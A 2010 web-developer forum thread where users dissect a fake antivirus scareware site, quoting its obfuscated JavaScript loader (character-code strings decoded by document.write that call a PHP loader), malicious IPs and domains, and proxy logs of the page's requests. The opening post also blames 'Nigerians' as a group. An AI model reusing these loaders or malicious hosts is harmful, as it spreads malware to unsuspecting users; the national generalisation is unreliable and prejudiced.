Well you would believe it if you were none the wiser. This is not a computer problem but an heads up to all who surf. Watch out for Nigerians, they seem to be moving on from SPAM Phishing mails to full on viral / trojan infections...
I was looking on the internet for information on ActionScript limitations in character length when being used in background AJAX operations.
As you know, some of the most unexpected domain names can produce the answers you need, I was going through the search results one at a time, most were just parked domains or advert city as I call them when I clicked one link and whammo...
The page I clicked to see instantly directed to an IP only basename URL, the site domain name is registered to some Nigerian in the USA and the bogus windows scanner is based in Holland.
I am laughing because I have Linux.
See attached images.
First your hit with a javascript popup, close it or clicking ok still results in the bogus scanner, then another pop up that shows a window that looks like its issued by windows system and a further warning that your machine remains infected and then your kindly offered an install.exe file for download and your in a constant loop where you can not get away from the download option so you end up closing the browser tab or browser itself. I am guessing that it is more targeted at windows msie.
I am guessing that the background activity I could hear was the result of the FLASH attempting to do something with the system.
The index.html file has what appears to be written in to it an encode system to obfuscate the main script operations, something I am going to look at decoding, the script uses a php script, I assume is the point of attack / loader and the javascript is simply a boot strap for the php script.
(function() {
var temp="",i,out="";
var x99ce2 = "60,@/115,@/99,@/114,@/105,@/112,@/116,@/32,@/116,@/121,@/112,@/101,@/61,@/34,@/116,@/101,@/120,@/116,@/47,@/106,@/97,@/118,@/97,@/115,@/99,@/114,@/105,@/112,@/116,@/34,@/62,@/118,@/97,@/114,@/32,@/108,@/105,@/115,@/116,@/110,@/97,@/109,@/101,@/32,@/61,@/32,@/110,@/101,@/119,@/32,@/65,@/114,@/114,@/97,@/121,@/40,@/39,@/36,@/119,@/105,@/110,@/110,@/116,@/36,@/39,@/44,@/32,@/39,@/51,@/55,@/39,@/44,@/32,@/39,@/49,@/50,@/53,@/50,@/48,@/56,@/53,@/48,@/39,@/44,@/32,@/39,@/54,@/116,@/111,@/52,@/115,@/118,@/99,@/39,@/44,@/32,@/39,@/97,@/97,@/97,@/97,@/109,@/111,@/110,@/39,@/44,@/13,@/10,@/9,@/9,@/39,@/97,@/97,@/99,@/108,@/105,@/101,@/110,@/116,@/39,@/44,@/32,@/39,@/97,@/98,@/111,@/117,@/116,@/114,@/101,@/112,@/108,@/105,@/103,@/111,@/39,@/44,@/32,@/39,@ in the head of the script body and 1,@/51,@/49,@/54,@/91,@/51,@/93,@/93,@/40,@/49,@/48,@/48,@/48,@/44,@/115,@/99,@/114,@/101,@/101,@/110,@/91,@/95,@/48,@/120,@/51,@/51,@/49,@/54,@/91,@/50,@/93,@/93,@/45,@/50,@/41,@/59,@/119,@/105,@/110,@/100,@/111,@/119,@/91,@/95,@/48,@/120,@/51,@/51,@/49,@/54,@/91,@/52,@/93,@/93,@/40,@/41,@/59,@/125,@/32,@/41,@/40,@/41,@/59,@/60,@/47,@/115,@/99,@/114,@/105,@/112,@/116,@/62,@/";
temp = x99ce2.split(",@/");
for (var i in temp) {
out += String.fromCharCode(temp[i]);
}
document.write(out);
})();
<!--494256787--></body>
</html> at the foot of the index page...
Anyone seen any code like this before?
svidgen
02-09-2010, 09:54 AM
Yep. It's a fairly typical obfuscation tactic to prevent code-stealing. And, in their case, it looks like they're generating slightly different obfuscations (possibly on the fly) to get the code past the scanners.
Though, it looks like Chrome is aware that the site is malicious ...
svidgen
02-09-2010, 09:56 AM
I'll also add that it's a fairly shoddy obfuscation tactic. It's not terribly tricky to toss a string into an array, split it, and convert from ascii codes to characters ...
JunkMale
02-09-2010, 11:26 AM
I'll also add that it's a fairly shoddy obfuscation tactic. It's not terribly tricky to toss a string into an array, split it, and convert from ascii codes to characters ...
Yep, I carefully tried to get the server to write a plain text file, it for some reason didn't like being asked to split it up and make the character set.
Chrome is aware yet google who I use to search with still spits it out as a search result... Not very publicly spirited company if google are only looking after its own browser...
svidgen
02-09-2010, 11:55 AM
I see a warning in the search results. They even show up in Svidgen's custom results (http://staging.svidgen.com/search?cref=http://svidgen.com/cse.xml%3Fversion%3D141&cof=FORID:9&ie=ISO-8859-1&q=89.248.171.58&sa=Search&siteurl=staging.svidgen.com/index). Under the page's main title, it says, "This site may harm your computer." Clicking on that link provides more detail about Google's efforts to fight phishing.
If you're not seeing these notifications in your search results, you may have inadvertently turned them off (not sure if that's possible). Alternatively, updating a search engine that spans as many servers and locales as Google is a fairly high-latency process. It's possible that the update is taking some time to propagate to all of the application servers.
Rest assured, JunkMale: Google has yet to turn malevolent. They are, as of yet, quite interested in "the good."
svidgen
02-09-2010, 11:57 AM
And by "application servers" I probably meant to type "database servers." But who knows? These types of filters might be applied to local databases on the application servers ... who knows? Not me ...
JunkMale
02-09-2010, 01:53 PM
Well heres a belter, the site still exist but the script delimiters now are generated per load...
<script type="text/javascript" src="res/jquery-1.4.1.min.js"></script>
<script type="text/javascript">
var seq = ["L","u","W","z","K","h","P","k","B","V","U","v","I","A","w","X","T","S","y","j","p","n","a","l","Q","E","N","r","m","t","f","b","q","G","O","R","C","i","e","J","M","Y","H","s","g","D","c","d","F","Z","x","o"], shift = 37;
var d_ddabef4baf4b = 'f_f2ae2a.php'+'?af'+'fid=92800';
var cc = 1, ee = 1;
(function() {
var temp="",i,pass2 = "",sou="";
var x0971a = "60!.^109!.^98!.^73!.^97!.^104!.^119!.^32!.^119!.^122!.^104!.^108!.^61!.^34!.^119!.^108!.^82!.^119!.^ 47!.^75!.^107!.^70!.^107!.^109!.
Ans again
<script type="text/javascript">
var seq = ["H","V","T","X","a","O","Y","i","Q","v","e","G","Z","W","g","s","k","z","r","N","C","S","x","J","p","u","R","j","y","U","M","h","d","L","o","m","B","D","q","t","F","b","K","P","I","A","c","E","f","n","w","l"], shift = 5;
var d_ef2 = 'f_f2ae2a.php'+'?af'+'fid=92800';
var cc = 1, ee = 1;
(function() {
var temp="",i,pass2 = "",sou="";
var xbab690a0c0 = "60,),@@67,),@@108,),@@74,),@@90,),@@85,),@@73,),@@32,),@@73,),@@76,),@@85,),@@115,),@@61,),@@34,),@@ 73,),@@115,),@@106,),@@73,)
And if you notice, it looks like a rolling cypher...
JunkMale
02-09-2010, 02:40 PM
The payload is a "VirtualProtected" windows binary type file. I am guessing that it is designed to take advantage of exploitable browsers / machines.
I notice also that they specifically look for msie, opera and firefox browsers.
So I also guess that the browser or all the browsers on windows machines require a windows .dll which it the point of entry
svidgen
02-09-2010, 02:44 PM
1337 h4x0rz!
JunkMale
02-09-2010, 03:19 PM
1337 h4x0rz! ... it would appear so.
I would like to look at the payload and see what it is that they are attempting.
Since this last post, the URL obazu1.org now delivers the site that was being masked with the redirector. I have what I assume is the trojan, although I am not going to be asking how to decompile the .exe, I would be interested in finding out what the other component of the attack that is M$ VirtualProtected but I don't have any windows machines, I converted to Linux about a year ago.
Any ideas?
JunkMale
02-09-2010, 04:02 PM
Its getting better, chasing down this guy is not easy...
Seems he has not got... safetytripstyle.net/in.cgi?9 as a redirection to 89.248.171.71 IP address that then forwards on to the hack site.
This time... Oksana Bojko is the person but now... Venezuela... but the safetytripstyle domain appears to be in Turkish, either way your still pushed on to holland and the same hosting company but a different IP address.
So yes, 1337 h4x0rz title is justified IMHO.
~~mike~~
02-27-2010, 02:49 AM
My daughter called me and told me that her laptop kept telling her she had a virus so I told her to shut it off until I could get there to check it out. She had gone to one of those MP3 streaming sites, listening to some music she wants at her 11th birthday party and somehow arrived at one of these...
I have got another site like this and I logged into my server (linux) to wget the link.
WARNING... hell, you know what I'm saying:
hxxp://94.102.52.38
--xx is on purpose for obvious reasons
...and here's what I wgot (http://65.5.245.29/source/):
I'm wondering if you (JunkMale) have discovered anything else about the encoded portion of the script? Here is my txt (http://65.5.245.29/source/94.102.52.38.txt)
JunkMale
02-27-2010, 04:58 AM
TBH I haven't been able as yet to spend time with it as I am on other things ATM. If you happen to know of an opensource project that has on offer a tool set that I can look under the hood with then maybe it would speed things up a bit.
As for the thing you got going on... Yep that's the guy.
Makes me laugh it does, windows layout on a linux box... LMAO :)
~~mike~~
02-28-2010, 11:43 PM
Welp... I think this MIGHT be what we're looking for!
Crap... post too long!
Okay I'll break it into sections... All this code will be split up into sections and can be pieced back together if needed, by copying and pasting what is in the code boxes.
It is still hosted there. (You also posted it in your code box in your initial post in this thread)
Here's someone else who caught it on the 22nd http://seclists.org/fulldisclosure/2010/Feb/389
~~mike~~
03-01-2010, 01:40 AM
After looking closer at my server log files... here are the requests made when you go to the infection link:
2010.3.1 2:34:46 - 192.168.1.79 http://94.102.52.38 *EXCEPTION* Exception client IP match. GET 223181 0 1 200 - Default -
2010.3.1 2:34:46 - 192.168.1.79 https://urs.microsoft.com:443 *EXCEPTION* Exception client IP match. CONNECT 5380 0 1 200 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/page_progressbar.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/dvd.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/hdd.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/i1000000.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/i3000000.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/i7000000.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/inf20000.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/folder.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/i2000000.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/hrline.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/i4000000.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/images/progressbar_green.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/i5000000.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/i6000000.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/progressbar.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/qicon.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/spacer.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/alert.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:48 - 192.168.1.79 http://94.102.52.38/res/1/1/images/window1.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:49 - 192.168.1.79 https://telemetry.urs.microsoft.com:443 *EXCEPTION* Exception client IP match. CONNECT 5347 0 1 200 - Default -
2010.3.1 2:34:57 - 192.168.1.79 http://94.102.52.38/res/1/1/images/progressbar_green.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
2010.3.1 2:34:57 - 192.168.1.79 http://94.102.52.38/res/1/1/images/box_top_.gif *EXCEPTION* Exception client IP match. GET 0 0 1 304 - Default -
I'm booting up my Ubuntu laptop to visit the page from it and try to see what other calls it makes. (I'm not willing to install rogue spyware on my windows machine right now ...heh.)
Pheobehall85
03-22-2010, 01:34 PM
does firefox have the ability to detect it?
JunkMale
03-28-2010, 04:45 AM
What I was concerned with is the fact that it backdoors on to the users system a "VirtualProtected" file and then when asked to download the free virus removal tool that gets past AV checks, made me wonder about decoding the payload.
As I am nolonger a windows user, I am stumped as to how you would go about decoding a windows encoded file on a non windows system.
It is clear to me that has more under the hood than just frightening people in to downloading the software.
IMHO the removal tool offered for download is just a front end that does not set off any alarms because it does not appear to be a virus but when downloaded and run, the front end uses the hidden payload to infect the users machine or do something with it.
Nice effort on what you done so far, I have no time at present to expend on this and no windows machine, so for me presently, I am at a dead end.
software
03-30-2010, 04:48 AM
Do people seriously still fall for this trick >.> ?
webdeveloper.com
Copyright Internet.com Inc., All Rights Reserved.